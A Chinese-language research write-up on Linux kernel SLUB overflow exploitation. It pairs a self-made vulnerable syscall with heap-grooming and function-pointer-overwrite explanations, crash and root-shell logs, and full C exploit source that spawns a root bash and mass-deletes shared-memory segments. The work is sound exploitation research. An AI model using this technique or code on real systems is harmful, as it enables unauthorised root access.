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Exploit Linux Kernel Slub Overflow
By wzt
一、前言
最近幾年關于kernel exploit的研究比較熱門，常見的內核提權漏洞大致可以分為幾類：
空指針引用，內核堆棧溢出，內核slab溢出，內核任意地址可寫等等。空指針引用漏洞比較
容易exploit，典型的例子如sock_sendpage，udp_sendmsg。但是新內核的安全模塊已經不
在允許userspace的code映射低內存了，所以NULL pointer dereference曾經一度只能dos，
不能提權。但是CVE-2010-4258這個內核任意地址可寫漏洞，可以將null pointer dereference
的dos轉化為提權。內核堆棧溢出相對userspace下的堆棧溢出比較好exploit。這里最難exploit
的是kernel的slab溢出。關于slab的溢出在05年的時候，UNF的qobaiashi就寫過paper來闡述
slab的exploit方法。此后關于slab的溢出研究在都集中在2.4內核上，2.6下的slab溢出一
直沒看到有相關的paper共享出來。
在kernel 2.6.22的時候，kernel為了改善slab的性能，引入了slub的設計。針對slub
溢出的paper一直沒有被共享直到Jon Oberheide發布了一個針對CAN協議的slub溢出的exploit，
這個應該是第一個公開的在2.6kernel上利用slab溢出的exploit，在ubuntu-10.04 2.6.32
的kernel上運行成功。Jon Oberheide在他的blog上也有篇關于分析slub溢出的paper，但是
這個exploit由于利用了CAN代碼上的一些優勢，并沒有把slub溢出的精髓體現出來。在深入
研究了這個exploit的基礎上，在加上我調試2.4內核slab溢出的經驗，研究了一下slub的溢
出技術，在centos 5.4 + 2.6.32環境測試成功。
二、示例代碼：
為了便于調試，我自己寫了一個LKM模塊，給內核新增了一個系統調用，用戶可以通過
api接口來調用。
--code-------------------------------------------------------------------------
#define BUFFER_SIZE 80
asmlinkage long kmalloc_overflow_test(char *addr, int size)
{
char *buff = NULL;
buff = kmalloc(BUFFER_SIZE, GFP_KERNEL);
if (!buff) {
printk("kmalloc failed.\n");
return -1;
}
printk("[+] Got object at 0x%p\n", buff);
if (copy_from_user(buff, addr, size)) {
printk("copy_from_user failed.\n");
kfree(buff);
return -1;
}
printk("%s\n", buff);
return 0;
}
-------------------------------------------------------------------------------
這段代碼用kmalloc分配了80字節的空間，但沒有檢查size的大小，用戶傳遞一個大于
80的size值將會產生內核堆溢出。
三、SLUB結構
slub大大簡化了slab的數據結構，如從kmem_cache的3個關于slab的隊列中去掉了完全
滿的隊列。每個slab的開始也沒有了slab管理結構和管理空obj的kmem_bufctl_t數組。一個
采用slub管理的slab結構如下：
一個slab的結構：
+-------------------------------------------+
| obj | obj | obj | ... |obj|
+-------------------------------------------+
根據上面的代碼片段，在一個obj溢出后，臟數據會直接覆蓋后面相鄰的那個obj：
|first|second|
+-------------------------------------------+
| obj | obj | obj | ... |obj|
+-------------------------------------------+
|-----overflow--->|
當有內核代碼訪問了被溢出的obj中的數據結構后，就會產生oops。
四、SLUB溢出方法
內核提權的最終目的就是觸發某個kernel bug，然后控制內核路徑到userspace事先布
置好的shellcode上。因此我們的大方向是在second obj中如果有一個函數指針能被臟數據
覆蓋為userspace下的shellcode，并且用戶又能調用這個函數指針，那么將會完成權限提升
的任務。還有一個要處理的問題就是如何保證在有bug的代碼中用kmalloc分配的obj和我們
想要覆蓋的函數指針所在的obj是相鄰的。因為只能兩者相鄰，才能用溢出的數據覆蓋函數
指針。
我們先假設已經在kernel中找到了一個數據結構，正好滿足了上面的需求，現在只要保
證兩個obj是相鄰的，就能完成指針覆蓋。我們知道slab的一個特性是當一個cache中的所有
slab結構中的obj都用完的時候，內核將會重新分配一個slab，新分配的slab中的obj彼此都
是相鄰的：
Kmalloc()->__kmalloc()->__do_kmalloc()->__cache_alloc()->____cache_alloc()
->cache_alloc_refill()->cache_grow()->cache_init_objs()
--code-------------------------------------------------------------------------
static void cache_init_objs(struct kmem_cache *cachep,
struct slab *slabp, unsigned long ctor_flags)
{
for (i = 0; i < cachep->num; i++) {
void *objp = index_to_obj(cachep, slabp, i);
slab_bufctl(slabp)[i] = i + 1;
}
slab_bufctl(slabp)[i - 1] = BUFCTL_END;
slabp->free = 0;
}
-------------------------------------------------------------------------------
前面在slab的結構中提到有個kmem_bufctl_t數組，里面的每個元素指向下一個空閑obj
的索引。在初始化一個新的slab時，每個kmem_bufctl_t元素都順序的指向了與它相鄰的下一
個obj，所以當內核重新分配一個slab結構時，我們從這個新的slab中分配的obj都是相鄰的。
那么SLUB是不是也滿足這個特性呢？在仔細讀過slub的代碼后，發現它也滿足這個特性：
kmalloc()->slab_alloc()->__slab_alloc()->new_slab():
--code-------------------------------------------------------------------------
static struct page *new_slab(struct kmem_cache *s, gfp_t flags, int node)
{
last = start;
for_each_object(p, s, start, page->objects) {
setup_object(s, page, last);
set_freepointer(s, last, p);
last = p;
}
setup_object(s, page, last);
set_freepointer(s, last, NULL);
}
#define for_each_object(__p, __s, __addr, __objects) \
for (__p = (__addr); __p < (__addr) + (__objects) * (__s)->size;\
__p += (__s)->size)
-------------------------------------------------------------------------------
這段代碼遍歷一個page中的所有obj進行初始化：
--code-------------------------------------------------------------------------
static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
*(void **)(object + s->offset) = fp;
}
-------------------------------------------------------------------------------
s->offset保存的是一個slab中下一個空閑的obj偏移，set_freepointer函數將一個obj
的下一個空閑指針指向了下一個obj。所以slub也滿足這個特性。
現在我們只要在用戶空間找到一種方法來不斷消耗大小為96的slab，當現有的slab用完
的時候，新分配的slab中的obj就是連續相鄰的。如何消耗slab，我們仍然可以用shmget系
統調用來處理，并且它用到的struct shmid_kernel結構中，就有我們想覆蓋的函數指針！
ipc/shm.c:
--code-------------------------------------------------------------------------
sys_shmget->ipcget->ipcget_new->newseg:
static int newseg(struct ipc_namespace *ns, struct ipc_params *params)
{
struct shmid_kernel *shp;
shp = ipc_rcu_alloc(sizeof(*shp));
shp->shm_file = file;
}
void* ipc_rcu_alloc(int size)
{
out = kmalloc(HDRLEN_KMALLOC + size, GFP_KERNEL);
}
-------------------------------------------------------------------------------
因此只要在用戶空間不斷調用shmget就會在內核中不斷消耗大小為96的slab。示例中的
代碼分配的是80個字節，它將會在96大小的slab中分配，這里還有一點需要注意：
--code-------------------------------------------------------------------------
out = kmalloc(HDRLEN_KMALLOC + size, GFP_KERNEL);
-------------------------------------------------------------------------------
用shmget分配的obj前段都有一個8個字節的站位空間，因此用shmget分配的shmid_kernel
結構將會如下：
| ------ 96 --------------------| ---------------96 ------------|
+---------------------------------------------------------------+
| HDRLEN_KMALLOC | shmid_kernel | HDRLEN_KMALLOC | shmid_kernel |
+---------------------------------------------------------------+
在以后覆蓋的時候需要跳過HDRLEN_KMALLOC個字節。
內核中關于slab的信息，可以在/proc/slabinfo得到:
-------------------------------------------------------------------------------
[wzt@localhost exp]$ cat /proc/slabinfo |grep kmalloc-96
kmalloc-96 922 924 96 42 1 : tunables 0 0 0 : slabdata 22 22 0
-------------------------------------------------------------------------------
922為當前活躍的obj數目，924是所有slab中obj的數目，因此我們在用戶空間中可以解
析這個文件來得到當前系統中剩余的obj數目：
--code-------------------------------------------------------------------------
int check_slab(char *slab_name, int *active, int *total)
{
FILE *fp;
char buff[1024], name[64];
int active_num, total_num;
fp = fopen("/proc/slabinfo", "r");
if (!fp) {
perror("fopen");
return -1;
}
while (fgets(buff, 1024, fp) != NULL) {
sscanf(buff, "%s %u %u", name, &active_num, &total_num);
if (!strcmp(slab_name, name)) {
*active = active_num;
*total = total_num;
return total_num - active_num;
}
}
return -1;
}
-------------------------------------------------------------------------------
現在寫一段code來不斷調用shmget，看看新分配的obj是不是連續的，為了調試方便，
我修改了sys_shmget的代碼，加入了printk用于打印kmalloc后的地址。trigger程序的代碼
片段如下：
trigger.c:
--code-------------------------------------------------------------------------
...
shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));
fprintf(stdout, "[+] smashing free slab ...\n");
for (i = 0; i < free_num + SLAB_NUM; i++) {
if (!check_slab(SLAB_NAME, &active_num, &total_num))
break;
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
if (shmids[i] < 0) {
perror("shmget");
return -1;
}
}
base = i;
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
i, total_num, active_num, total_num - active_num);
fprintf(stdout, "[+] smashing adjacent slab ...\n");
i = base;
for (; i < base + SLAB_NUM; i++) {
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
if (shmids[i] < 0) {
perror("shmget");
return -1;
}
}
check_slab(SLAB_NAME, &active_num, &total_num);
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
i, total_num, active_num, total_num - active_num);
...
[wzt@localhost exp]$ ./exp
[+] mmaping kernel code at 0x41414141 ok.
[+] looking for symbols...
[+] found commit_creds addr at 0xc0446524.
[+] found prepare_kernel_cred addr at 0xc0446710.
[+] setting up exploit payload...
[+] checking slab total: 840 active: 836 free: 4
[+] smashing free slab ...
[+] smashing 17 total: 840 active: 840 free: 0
[+] smashing adjacent slab ...
[+] smashing 117 total: 966 active: 966 free: 0
-------------------------------------------------------------------------------
可以看到dmesg后的信息，新的obj都是連續的。
-------------------------------------------------------------------------------
[wzt@localhost exp]$ dmesg|tail -n 10
[+] kmalloc at 0xdf1ea120
[+] kmalloc at 0xdf1ea180
[+] kmalloc at 0xdf1ea1e0
[+] kmalloc at 0xdf1ea240
[+] kmalloc at 0xdf1ea2a0
[+] kmalloc at 0xdf1ea300
[+] kmalloc at 0xdf1ea360
[+] kmalloc at 0xdf1ea3c0
[+] kmalloc at 0xdf1ea420
[+] kmalloc at 0xdf1ea480
-------------------------------------------------------------------------------
ok，我們已經能獲得一個連續的obj了，現在要利用slub的另一個特性：FIFO，先在這
些連續的obj中選取一個obj釋放掉，然后馬上觸發有bug的代碼，那么有bug的代碼調用kmalloc
分配的obj地址就是剛才釋放掉的那個obj，當溢出發生后，臟數據將會覆蓋它相鄰的下一個
obj。可以用如下代碼來觸發：
trigger.c:
--code-------------------------------------------------------------------------
...
free_idx = i - 4;
fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);
if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {
perror("shmctl");
}
fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);
memset(buff, 0x41, sizeof(buff));
kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel));
...
-------------------------------------------------------------------------------
在這里我們將倒數第4個obj釋放掉，執行后dmesg可以看到：
-------------------------------------------------------------------------------
[+] kmalloc at 0xd3decc00
[+] kmalloc at 0xd3decc60
[+] kmalloc at 0xd3deccc0
[+] kmalloc at 0xd3decd20
[+] kmalloc at 0xd3decd80
[-] kfree at 0xd3decc60
...............................
[+] Got object at 0xd3decc60
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-------------------------------------------------------------------------------
shmctl釋放掉了0xd3decc60地址后，有bug的kmalloc分配的地址也是0xd3decc60。
-------------------------------------------------------------------------------
[wzt@localhost exp]$ tail /proc/sysvipc/shm
0 8192250 0 1024 3148 0 0 500 500 500 500 0 0 1293098372
1094795585 1094795585 0 500 134522884 0 500 1094795585 1094795585 0 0 4294967295 252 0
1094795585 1094795585 0 1024 3148 0 0 500 500 500 500 0 0 1293098372
0 8323326 0 1024 3148 0 0 500 500 500 500 0 0 1293098372
-------------------------------------------------------------------------------
可以看到與0xd3decc60相鄰的下一個obj地址0xd3deccc0中的shmid_kernel結構已經被
覆蓋了。
現在我們可以來覆蓋一個函數指針了，在shmid_kernel中正好有滿足我們需要的函數指
針!
kernel中處理ipc共享內存的一個數據結構struct shmid_kernel：
--code-------------------------------------------------------------------------
struct shmid_kernel /* private to the kernel */
{
struct kern_ipc_perm shm_perm;
struct file * shm_file;
unsigned long shm_nattch;
unsigned long shm_segsz;
time_t shm_atim;
time_t shm_dtim;
time_t shm_ctim;
pid_t shm_cprid;
pid_t shm_lprid;
struct user_struct *mlock_user;
};
struct shmid_kernel {
.shm_file = struct file {
.f_op = struct file_operations = {
.mmap = ATTACKER_ADDRESS
}
}
}
-------------------------------------------------------------------------------
可以用shmat的系統調用來觸發：
--code-------------------------------------------------------------------------
sys_shmat()->do_shmat():
long do_shmat(int shmid, char __user *shmaddr, int shmflg, ulong *raddr)
{
user_addr = do_mmap(file, addr, size, prot, flags, 0);
}
-------------------------------------------------------------------------------
do_mmap將被覆蓋為shellcode地址。
ok，現在可以寫一個完整的exp了，試試先：
-------------------------------------------------------------------------------
[wzt@localhost exp]$ ./exp
執行后系統掛掉了， 看下dmesg信息：
[+] kmalloc at 0xd31752a0
[+] kmalloc at 0xd3175300
[+] kmalloc at 0xd3175360
[+] kmalloc at 0xd31753c0
[+] kmalloc at 0xd3175420
[+] kmalloc at 0xd3175480
[+] kmalloc at 0xd31754e0
[-] kfree at 0xd31753c0
...............................
[+] Got object at 0xd31753c0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
BUG: unable to handle kernel NULL pointer dereference at (null)
IP: [<c04fc352>] ipc_has_perm+0x46/0x61
*pde = 00000000
Oops: 0000 [#1] SMP
last sysfs file: /sys/devices/pci0000:00/0000:00:05.0/local_cpus
Modules linked in: sys ipv6 autofs4 sunrpc ip_tables ip6_tables x_tables dm_multipath video output sbs sbshc battery ac parport_pc lp parport snd_intel8x0 snd_ac97_codec ac97_bus snd_seq_dummy snd_seq_oss snd_seq_midi_event snd_seq snd_seq_device snd_pcm_oss snd_mixer_oss ide_cd_mod button cdrom snd_pcm rtc_cmos serio_raw rtc_core rtc_lib snd_timer 8139too floppy snd 8139cp soundcore i2c_piix4 mii snd_page_alloc i2c_core pcspkr dm_snapshot dm_zero dm_mirror dm_region_hash dm_log dm_mod ata_piix libata sd_mod scsi_mod ext3 jbd uhci_hcd ohci_hcd ehci_hcd [last unloaded: microcode]
Pid: 3190, comm: exp Not tainted (2.6.32 #2) Bochs
EIP: 0060:[<c04fc352>] EFLAGS: 00010246 CPU: 1
EIP is at ipc_has_perm+0x46/0x61
EAX: 00000000 EBX: 00000000 ECX: 00000000 EDX: d3175428
ESI: 000001f0 EDI: d33ebf30 EBP: 00000080 ESP: d33ebec8
DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068
Process exp (pid: 3190, ti=d33eb000 task=dbe6ea30 task.ti=d33eb000)
Stack:
d3175428 d33ebed0 00000004 00000000 00000000 00000000 00000000 00000000
<0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
Call Trace:
[<c04f9cf3>] ? security_ipc_permission+0xf/0x10
[<c04f22e4>] ? do_shmat+0xdc/0x349
[<c04057da>] ? sys_ipc+0xff/0x162
[<c0402865>] ? syscall_call+0x7/0xb
Code: 8c e4 82 c0 8b 92 d8 02 00 00 89 c7 8b 52 58 8b 72 04 31 d2 89 44 24 04 89 d0 f3 ab 8b 14 24 c6 44 24 08 04 8b 42 0c 89 44 24 10 <0f> b7 0b 8d 44 24 08 8b 53 04 50 89 f0 55 e8 75 fb ff ff 83 c4
EIP: [<c04fc352>] ipc_has_perm+0x46/0x61 SS:ESP 0068:d33ebec8
CR2: 0000000000000000
---[ end trace 7bbab7e881899412 ]---
[wzt@localhost exp]$
-------------------------------------------------------------------------------
看上去像selinux的問題，將它關閉掉再試試：
-------------------------------------------------------------------------------
[wzt@localhost exp]$ ./exp
[+] mmaping kernel code at 0x41414141 ok.
[+] looking for symbols...
[+] found commit_creds addr at 0xc0446524.
[+] found prepare_kernel_cred addr at 0xc0446710.
[+] setting up exploit payload...
[+] checking slab total: 798 active: 791 free: 7
[+] smashing free slab ...
[+] smashing 5 total: 798 active: 798 free: 0
[+] smashing adjacent slab ...
[+] smashing 105 total: 924 active: 924 free: 0
[+] free exist shmid with idx: 101
[+] trigger kmalloc overflow in kmalloc-96
[+] shmid_kernel size: 80
[+] kern_ipc_perm size: 44
[+] shmid: 3309669
[+] launching root shell!
[root@localhost exp]# uname -a
Linux localhost.localdomain 2.6.32 #2 SMP Thu Dec 23 14:59:36 CST 2010 i686 i686 i386 GNU/Linux
[root@localhost exp]#
-------------------------------------------------------------------------------
成功了，終于得到可愛的root了！
五、源碼：
exp.c
/*
* linux kernel slub overflow test exploit
*
* by wzt <wzt.wzt@gmail.com>
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include "syscalls.h"
#define __NR_kmalloc_overflow_test 59
#define KALLSYMS_NAME "/proc/kallsyms"
#define SLAB_NAME "kmalloc-96"
#define SLAB_SIZE 96
#define SLAB_NUM 100
#define IPCMNI 32768
#define EIDRM 43
#define HDRLEN_KMALLOC 8
struct list_head {
struct list_head *next;
struct list_head *prev;
};
struct super_block {
struct list_head s_list;
unsigned int s_dev;
unsigned long s_blocksize;
unsigned char s_blocksize_bits;
unsigned char s_dirt;
uint64_t s_maxbytes;
void *s_type;
void *s_op;
void *dq_op;
void *s_qcop;
void *s_export_op;
unsigned long s_flags;
}super_block;
struct mutex {
unsigned int count;
unsigned int wait_lock;
struct list_head wait_list;
void *owner;
};
struct inode {
struct list_head i_hash;
struct list_head i_list;
struct list_head i_sb_list;
struct list_head i_dentry_list;
unsigned long i_ino;
unsigned int i_count;
unsigned int i_nlink;
unsigned int i_uid;
unsigned int i_gid;
unsigned int i_rdev;
uint64_t i_version;
uint64_t i_size;
unsigned int i_size_seqcount;
long i_atime_tv_sec;
long i_atime_tv_nsec;
long i_mtime_tv_sec;
long i_mtime_tv_nsec;
long i_ctime_tv_sec;
long i_ctime_tv_nsec;
uint64_t i_blocks;
unsigned int i_blkbits;
unsigned short i_bytes;
unsigned short i_mode;
unsigned int i_lock;
struct mutex i_mutex;
unsigned int i_alloc_sem_activity;
unsigned int i_alloc_sem_wait_lock;
struct list_head i_alloc_sem_wait_list;
void *i_op;
void *i_fop;
struct super_block *i_sb;
void *i_flock;
void *i_mapping;
char i_data[84];
void *i_dquot_1;
void *i_dquot_2;
struct list_head i_devices;
void *i_pipe_union;
unsigned int i_generation;
unsigned int i_fsnotify_mask;
void *i_fsnotify_mark_entries;
struct list_head inotify_watches;
struct mutex inotify_mutex;
}inode;
struct dentry {
unsigned int d_count;
unsigned int d_flags;
unsigned int d_lock;
int d_mounted;
void *d_inode;
struct list_head d_hash;
void *d_parent;
}dentry;
struct file_operations {
void *owner;
void *llseek;
void *read;
void *write;
void *aio_read;
void *aio_write;
void *readdir;
void *poll;
void *ioctl;
void *unlocked_ioctl;
void *compat_ioctl;
void *mmap;
void *open;
void *flush;
void *release;
void *fsync;
void *aio_fsync;
void *fasync;
void *lock;
void *sendpage;
void *get_unmapped_area;
void *check_flags;
void *flock;
void *splice_write;
void *splice_read;
void *setlease;
}op;
struct vfsmount {
struct list_head mnt_hash;
void *mnt_parent;
void *mnt_mountpoint;
void *mnt_root;
void *mnt_sb;
struct list_head mnt_mounts;
struct list_head mnt_child;
int mnt_flags;
const char *mnt_devname;
struct list_head mnt_list;
struct list_head mnt_expire;
struct list_head mnt_share;
struct list_head mnt_slave_list;
struct list_head mnt_slave;
struct vfsmount *mnt_master;
struct mnt_namespace *mnt_ns;
int mnt_id;
int mnt_group_id;
int mnt_count;
}vfsmount;
struct file {
struct list_head fu_list;
struct vfsmount *f_vfsmnt;
struct dentry *f_dentry;
void *f_op;
unsigned int f_lock;
unsigned long f_count;
}file;
struct kern_ipc_perm {
unsigned int lock;
int deleted;
int id;
unsigned int key;
unsigned int uid;
unsigned int gid;
unsigned int cuid;
unsigned int cgid;
unsigned int mode;
unsigned int seq;
void *security;
};
struct shmid_kernel {
struct kern_ipc_perm shm_perm;
struct file *shm_file;
unsigned long shm_nattch;
unsigned long shm_segsz;
time_t shm_atim;
time_t shm_dtim;
time_t shm_ctim;
unsigned int shm_cprid;
unsigned int shm_lprid;
void *mlock_user;
}shmid_kernel;
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
static inline my_syscall2(long, kmalloc_overflow_test, char *, addr, int, size);
int __attribute__((regparm(3)))
kernel_code(struct file *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
{
FILE *s_fp;
char buff[200];
char *p = NULL, *p1 = NULL;
unsigned long addr = 0;
s_fp = fopen(file_name, "r");
if (s_fp == NULL) {
printf("open %s failed.\n", file_name);
return 0;
}
while (fgets(buff, 200, s_fp) != NULL) {
if (strstr(buff, symbol_name) != NULL) {
buff[strlen(buff) - 1] = "\0";
p = strchr(strchr(buff, " ") + 1, " ");
++p;
if (!p) {
return 0;
}
if (!strcmp(p, symbol_name)) {
p1 = strchr(buff, " ");
*p1 = "\0";
sscanf(buff, "%lx", &addr);
//addr = strtoul(buff, NULL, 16);
printf("[+] found %s addr at 0x%x.\n",
symbol_name, addr);
break;
}
}
}
fclose(s_fp);
return addr;
}
int check_slab(char *slab_name, int *active, int *total)
{
FILE *fp;
char buff[1024], name[64];
int active_num, total_num;
fp = fopen("/proc/slabinfo", "r");
if (!fp) {
perror("fopen");
return -1;
}
while (fgets(buff, 1024, fp) != NULL) {
sscanf(buff, "%s %u %u", name, &active_num, &total_num);
if (!strcmp(slab_name, name)) {
*active = active_num;
*total = total_num;
return total_num - active_num;
}
}
return -1;
}
void clear_old_shm(void)
{
char *cmd = "for shmid in `cat /proc/sysvipc/shm | awk "{print $2}"`; "
"do ipcrm -m $shmid > /dev/null 2>&1; done;";
system(cmd);
}
void mmap_init(void)
{
void *payload;
payload = mmap((void *)(0x41414141 & ~0xfff), 2 * 4096,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if ((long)payload == -1) {
printf("[*] Failed to mmap() at target address.\n");
return ;
}
printf("[+] mmaping kernel code at 0x41414141 ok.\n");
memcpy((void *)0x41414141, &kernel_code, 1024);
}
void setup(void)
{
printf("[+] looking for symbols...\n");
commit_creds = (_commit_creds)
find_symbol_by_proc(KALLSYMS_NAME, "commit_creds");
if (!commit_creds) {
printf("[-] not found commit_creds addr.\n");
return ;
}
prepare_kernel_cred =
(_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME,
"prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] not found prepare_kernel_cred addr.\n");
return ;
}
printf("[+] setting up exploit payload...\n");
super_block.s_flags = 0;
inode.i_size = 4096;
inode.i_sb = &super_block;
inode.inotify_watches.next = &inode.inotify_watches;
inode.inotify_watches.prev = &inode.inotify_watches;
inode.inotify_mutex.count = 1;
dentry.d_count = 4096;
dentry.d_flags = 4096;
dentry.d_parent = NULL;
dentry.d_inode = &inode;
op.mmap = &kernel_code;
op.get_unmapped_area = &kernel_code;
vfsmount.mnt_flags = 0;
vfsmount.mnt_count = 1;
file.fu_list.prev = &file.fu_list;
file.fu_list.next = &file.fu_list;
file.f_dentry = &dentry;
file.f_vfsmnt = &vfsmount;
file.f_op = &op;
shmid_kernel.shm_perm.key = IPC_PRIVATE;
shmid_kernel.shm_perm.uid = 501;
shmid_kernel.shm_perm.gid = 501;
shmid_kernel.shm_perm.cuid = getuid();
shmid_kernel.shm_perm.cgid = getgid();
shmid_kernel.shm_perm.mode = -1;
shmid_kernel.shm_file = &file;
}
int trigger(void)
{
int *shmids;
int total_num, active_num, free_num;
int base, free_idx, i;
int ret;
char buff[1024];
clear_old_shm();
free_num = check_slab(SLAB_NAME, &active_num, &total_num);
fprintf(stdout, "[+] checking slab total: %d active: %d free: %d\n",
total_num, active_num, total_num - active_num);
shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));
fprintf(stdout, "[+] smashing free slab ...\n");
for (i = 0; i < free_num + SLAB_NUM; i++) {
if (!check_slab(SLAB_NAME, &active_num, &total_num))
break;
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
if (shmids[i] < 0) {
perror("shmget");
return -1;
}
}
base = i;
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
i, total_num, active_num, total_num - active_num);
fprintf(stdout, "[+] smashing adjacent slab ...\n");
i = base;
for (; i < base + SLAB_NUM; i++) {
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
if (shmids[i] < 0) {
perror("shmget");
return -1;
}
}
check_slab(SLAB_NAME, &active_num, &total_num);
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
i, total_num, active_num, total_num - active_num);
//free_idx = base + SLAB_NUM - 4;
free_idx = i - 4;
fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);
if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {
perror("shmctl");
}
sleep(1);
fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);
memset(buff, 0x41, sizeof(buff));
shmid_kernel.shm_perm.seq = shmids[free_idx + 1] / IPCMNI;
memcpy(&buff[SLAB_SIZE + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));
//memcpy(&buff[SLAB_SIZE], &shmid_kernel, sizeof(shmid_kernel));
printf("[+] shmid_kernel size: %d\n", sizeof(shmid_kernel));
printf("[+] kern_ipc_perm size: %d\n", sizeof(struct kern_ipc_perm));
printf("[+] shmid: %d\n", shmids[free_idx]);
kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel));
ret = (int)shmat(shmids[free_idx + 1], NULL, SHM_RDONLY);
if (ret == -1 && errno != EIDRM) {
setresuid(0, 0, 0);
setresgid(0, 0, 0);
printf("[+] launching root shell!\n");
execl("/bin/bash", "/bin/bash", NULL);
exit(0);
}
return 0;
}
int main(void)
{
mmap_init();
setup();
trigger();
}
六、參考
1、 Jon Oberheide - Linux Kernel CAN SLUB Overflow
2、 grip2 - Linux 內核溢出研究系列(2) - kmalloc 溢出技術
3、 qobaiashi - the sotry of exploiting kmalloc() overflows
4、 Ramon de Carvalho Valle - Linux Slab Allocator Bu_er Overow Vulnerabilities
5、 wzt - How to Exploit Linux Kernel NULL Pointer Dereference
6、 wzt - Linux kernel stack and heap exploitation
-EOF-
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